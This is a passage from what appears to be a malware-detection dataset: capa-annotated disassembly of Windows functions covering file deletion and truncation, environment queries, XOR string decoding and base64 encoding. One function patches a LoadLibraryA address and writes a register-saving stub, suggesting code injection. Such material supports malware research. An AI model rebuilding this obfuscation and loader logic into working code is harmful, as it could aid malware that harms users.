joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b1920
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400b1936
mov al, 1
jmp 0x1400b1996
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400b1947
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400b1994
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400b2334
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400b1994
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400b1994
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400b1994
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400b1996
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400b2444
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400aa000
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400aa000
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400b2594
cmp rax, 0xffffffffffffffff
je 0x1400b2594
xor edi, edi
test rbp, rbp
jle 0x1400b253f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400ae400
mov rbx, rax
test rax, rax
jne 0x1400b24cc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400b2535
mov edx, 0x8000
mov ecx, r14d
call fcn.1400ab6c0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400ace40
cmp eax, 0xffffffff
je 0x1400b2515
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400b24dc
mov edx, r15d
mov ecx, r14d
call fcn.1400ab6c0
jmp 0x1400b2535
cmp byte [rsi + 0x38], dil
je 0x1400b252c
cmp dword [rsi + 0x34], 5
jne 0x1400b252c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400b2535
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400ae478
jmp 0x1400b25a8
jns 0x1400b25a8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400aa000
cmp rax, 0xffffffffffffffff
jne 0x1400b2560
cmp byte [rsi + 0x30], dil
je 0x1400b25a8
mov edi, dword [rsi + 0x2c]
jmp 0x1400b25a8
mov ecx, r14d
call fcn.1400b2334
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400b25a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1400b25a8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400b25a1
mov eax, dword [rsi + 0x2c]
jmp 0x1400b25a6
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400aa000
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400b5e24
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400b5e54
xor eax, eax
jmp 0x1400b5f17
mov rbp, rbx
cmp word [rax], si
je 0x1400b5e79
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400b5e60
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400b5e5c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400b2de0
movsxd r14, eax
test eax, eax
jne 0x1400b5eb7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400b5e4d
mov rcx, r14
call fcn.1400af05c
mov rdi, rax
test rax, rax
jne 0x1400b5ed0
xor ecx, ecx
call fcn.1400ae478
jmp 0x1400b5eac
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400b2de0
test eax, eax
jne 0x1400b5f01
mov rcx, rdi
call fcn.1400ae478
jmp 0x1400b5f0b
xor ecx, ecx
call fcn.1400ae478
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400b5f34
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400b5fbb
mov rsi, rbx
cmp word [rax], bp
je 0x1400b5f7a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400b5f64
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400b5f60
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400af05c
mov rdi, rax
test rax, rax
je 0x1400b5fa8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400bd680
mov rbp, rdi
xor ecx, ecx
call fcn.1400ae478
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400b76bc
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400b76dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14009f1ac
or eax, 0xffffffff
jmp 0x1400b76de
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400ba028
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1400e6700]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400ba072
call fcn.14009f218
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14009f238
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14009c3a0
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140093c50
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400ba07d
lea eax, [rbx + 1]
jmp 0x1400ba05f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400ba05d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400ba05f
Function at 0x1400bb4c4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14009f258
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400bb54e
cmp byte [rbp - 0x21], r15b
je 0x1400bb549
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400bb584
call fcn.1400ae720
test eax, eax
jne 0x1400bb570
cmp byte [rbp - 0x21], r15b
je 0x1400bb568
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400bb584
cmp byte [rbp - 0x21], r15b
je 0x1400bb581
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400a7aa8
test eax, eax
jne 0x1400bb624
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14009f258
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400bb5c3
cmp byte [rbp - 0x21], r15b
je 0x1400bb5f8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400bb5f8
call fcn.1400ae720
test eax, eax
jne 0x1400bb5e4
cmp byte [rbp - 0x21], r15b
je 0x1400bb5dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400bb5f8
cmp byte [rbp - 0x21], r15b
je 0x1400bb5f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400a7aa8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400bb624
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400bb627
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400bb635
mov rcx, rdi
call fcn.1400ae478
cmp byte [rbp + 0x3f], r15b
je 0x1400bb644
mov rcx, qword [rbp + 0x27]
call fcn.1400ae478
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14007e670
Capabilities:
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
movdqa xmm0, xmmword [0x140284290]
xor eax, eax
movdqa xmm1, xmmword [0x140284260]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x140284220]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1402840c0]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x1402840e0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140284060]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140284000]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1402845f0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140284580]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1402844e0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1402844c0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x140284490]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x140284470]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x140284420]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x140284410]
movdqa xmmword [rbp], xmm0
mov byte [0x1405d3e08], 0
movdqa xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], 0x66706668
mov word [rbp + 0x14], WSASetLastError
mov byte [rbp + 0x16], 1
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + 0x10]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0xf5
jb 0x14007e770
mov byte [rbp + 0x16], 0
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007e792
lea rdx, [rsp + 0x20]
lea rcx, [0x1405d1770]
call fcn.140086ad0
add rsp, 0x120
pop rbp
ret

Function at 0x14007ed00
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x1405d3e88]
mov rbx, r9
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007ed86
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x34], eax
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x44], r8d
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r9, [rsp + 0x58]
mov r8d, 0x29
mov dword [rsp + 0x48], eax
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1401e6210
add rsp, 0x70
pop rbx
ret
Function at 0x14007eda0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rbx
push rdi
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x1405d3e88]
mov edi, r8d
dec rax
mov rbx, rcx
cmp rax, 0xfffffffffffffffd
ja 0x14007eeea
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
mov qword [r11 - 0x20], rsi
xor esi, esi
mov qword [rbp + 0x1b], rsi
mov dword [rbp + 0x23], esi
mov qword [r11 - 0x28], r14
mov dword [rbp - 1], 0xc8
mov dword [rbp + 3], eax
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], rcx
mov dword [rbp + 0x17], r8d
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov dword [rbp - 0x25], eax
mov qword [rbp - 0x21], rcx
mov dword [rbp - 0x15], 0x40
mov dword [rbp - 0x19], r8d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r14, [0x1405d3e98]
lea r9, [rbp + 0x27]
mov dword [rbp - 0x11], eax
lea r8d, [rsi + 0x29]
mov qword [rbp - 9], r14
lea rdx, [rbp - 0x29]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x1405d3e88]
lea r9, [rbp + 0x2b]
lea r8d, [rsi + 0x28]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 1]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [0x1405d3e88]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007eeda
mov eax, dword [0x1405d3e80]
xorps xmm0, xmm0
mov dword [rbp - 0x25], eax
mov eax, dword [0x1405d3e98]
mov dword [rbp - 0x15], eax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 0x29], 0x12c
mov qword [rbp - 0x21], rbx
mov dword [rbp - 0x19], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [0x1405d3e88]
lea r9, [rbp + 0x27]
lea r8d, [rsi + 0x29]
mov dword [rbp - 0x11], eax
lea rdx, [rbp - 0x29]
mov qword [rbp - 9], r14
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rsi, qword [rsp + 0x98]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1401e6210
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret

Function at 0x14007ef10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x268], rax
mov rax, qword [0x1405d3e88]
mov rbx, rcx
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14007efdb
xor edx, edx
mov qword [rsp + 0x30], 0
mov r8d, 0x210
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1405d3e80]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0x258
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x248], eax
mov r8, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x250], rax
inc r8
cmp byte [rbx + r8], 0
jne 0x14007ef90
inc r8
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rcx, qword [0x1405d3e88]
lea r9, [rsp + 0x260]
mov r8d, 0x219
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rax, qword [rsp + 0x30]
jmp 0x14007efdd
xor eax, eax
mov rcx, qword [rsp + 0x268]
xor rcx, rsp
call fcn.1401e6210
add rsp, 0x270
pop rbx
ret
Function at 0x14007f860
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp + 0x37], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov dword [rbp + 0x3f], 0x7f51655e
mov dword [rbp + 0x43], 0x73667b
mov byte [rbp + 0x47], 1
xor ecx, ecx
nop dword [rax]
lea eax, [rcx + 0x10]
xor byte [rbp + rcx + 0x3f], al
inc rcx
cmp rcx, 7
jb 0x14007f8b0
mov byte [rbp + 0x47], 0
movdqa xmm0, xmmword [0x140283fa0]
movdqu xmmword [rbp + 0x17], xmm0
mov byte [rbp + 7], 0
lea rax, [rbp + 0x3f]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007f8e0
lea rdx, [rbp + 0x3f]
lea rcx, [rbp + 7]
call fcn.140086ad0
nop
mov dword [rbp - 9], 0x7d60747b
mov dword [rbp - 5], 0x76747971
mov dword [rbp - 1], 0x7f347c6b
mov dword [rbp + 3], 0x1007170
xor ecx, ecx
nop word [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rbp + rcx - 9], al
inc rcx
cmp rcx, 0xe
jb 0x14007f920
mov byte [rbp + 6], 0
lea rdx, [rbp - 9]
lea rcx, [rbp + 0x27]
call fcn.14007f210
mov rdi, rax
mov qword [rbp + 0x3f], 0
lea r8, [rbp + 7]
lea rdx, [rbp + 0x3f]
mov rcx, rax
call fcn.14008ae20
mov rbx, qword [rbp + 0x3f]
cmp rbx, qword [rdi]
je 0x14007f9b8
lea rdx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x14007f974
mov rdx, qword [rbx + 0x20]
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
mov r14, qword [rbx + 0x30]
mov rsi, qword [rbp + 0x17]
mov r8, rsi
cmp r14, rsi
cmovb r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007f9b1
cmp rsi, r14
jae 0x14007f9a9
mov eax, 0xffffffff
jmp 0x14007f9b1
xor eax, eax
cmp rsi, r14
seta al
shr eax, 0x1f
test al, al
je 0x14007f9e8
lea rax, [rbp + 7]
mov qword [rbp + 0x3f], rax
lea r8, [rbp + 0x3f]
mov rcx, rdi
call fcn.14008aee0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x3f]
mov rcx, rdi
call fcn.14008af30
mov rbx, qword [rbp + 0x3f]
mov rbx, qword [rbx + 0x40]
mov r9, qword [rbp + 0x27]
mov r8, qword [r9]
lea rdx, [rbp + 0x3f]
lea rcx, [rbp + 0x27]
call fcn.140086da0
mov edx, 0x48
mov rcx, qword [rbp + 0x27]
call fcn.1401e6234
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x14007fa4d
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007fa48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007fa48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401e6234
mov rax, rbx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1401e6210
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14007fa80
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x3358]
mov eax, 0x3458
call fcn.1401e6c10
sub rsp, rax
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rbp + 0x3340], rax
mov r15, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp + 0x2f40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, [0x140283880]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14007faef
mov edx, 0x5c
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
lea r8, [rax + 1]
jmp 0x14007faf2
mov r8, rdi
lea rcx, [rbp + 0x2f40]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14007fb00
xor edx, edx
nop dword [rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14007fb10
lea rcx, [rbp + 0x2f40]
call fcn.14007ef10
mov rbx, rax
test rax, rax
jne 0x14007fd1f
mov qword [rsp + 0x3490], rsi
mov dword [rsp + 0x20], 0x7f76657e
mov dword [rsp + 0x24], 0x7b723b78
mov word [rsp + 0x28], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x2a], 1
nop dword [rax]
lea ecx, [rax + 0x10]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 9
jb 0x14007fb60
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x2a], 0
call fcn.14007ef10
mov rsi, rax
test rax, rax
je 0x14007fd14
mov rcx, r15
mov qword [rsp + 0x3450], r14
call fcn.140088de0
mov r14, rax
test rax, rax
je 0x14007fd0c
mov rbx, 0xffffffffffffffff
add rsi, 0x1000
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14007fbc0
lea rax, [rsi + 1]
mov rdx, rsi
add rax, rcx
lea rcx, [rbp + 0xf30]
mov qword [rbp + 0x1f30], rax
call fcn.140088e80
mov rdx, rax
lea rcx, [rsp + 0x30]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f40]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1405d13e3], rax
mov qword [0x1405d13b8], r15
mov qword [0x1405d13c2], r14
mov qword [0x1405d13d9], rsi
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x14007fc33
lea r8d, [rbx + 1]
mov rdx, rdi
mov rcx, rsi
call fcn.14007eda0
mov rcx, qword [rbp + 0x1f30]
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov r8d, WSASetLastError
call fcn.14007eda0
mov ecx, 4
call fcn.1401e6660
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 4]
call fcn.14007ed00
mov r8d, 8
lea rdx, [rbp + 0x1f30]
mov rcx, r15
call fcn.14007eda0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x1b58]
nop word [rax + rax]
lea rcx, [rbp + 0x2f40]
call fcn.14007ef10
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x14007fcd9
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14007fcb0
mov ecx, 4
call fcn.1401e6660
mov edx, 8
mov r9, rax
mov rcx, r15
lea r8d, [rdx - 6]
call fcn.14007ed00
mov r8d, 0x1000
lea rdx, [rbp + 0x1f40]
mov rcx, rsi
call fcn.14007eda0
mov r14, qword [rsp + 0x3450]
mov rsi, qword [rsp + 0x3490]
mov rax, rbx
mov rcx, qword [rbp + 0x3340]
xor rcx, rsp
call fcn.1401e6210
add rsp, 0x3458
pop r15
pop rdi
pop rbx
pop rbp
ret
Function at 0x140080470
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1c], 0
je 0x140080493
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x10]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1b
jb 0x140080480
mov byte [rcx + 0x1c], 0
mov rax, rcx
ret
Function at 0x140080e40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x140080e63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x10]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x140080e50
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x140080e70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x140080e93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x10]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x140080e80
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x140080ea0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x140080ec3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x10]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x140080eb0
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret
Function at 0x140080ed0
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov qword [r11 - 0x70], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov rax, qword [0x14029e908]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, rdx
mov rsi, rcx
mov qword [r11 - 0x68], rcx
xor r15d, r15d
mov dword [r11 - 0x78], r15d
mov dword [r11 - 0x60], r15d
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], r15b
xor r8d, r8d
lea rdx, [0x140282981]
call fcn.140086ad0
mov dword [rsp + 0x30], 1
mov rdi, 0xffffffffffffffff
mov rbx, rdi
inc rbx
cmp byte [r14 + rbx], 0
jne 0x140080f41
test ebx, ebx
je 0x1400810af
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, ebx
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x140081015
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140084930
nop
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov rbp, qword [rsp + 0x50]
mov r9, rbp
mov r8d, 1
mov edx, ebx
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
nop dword [rax]
inc rdi
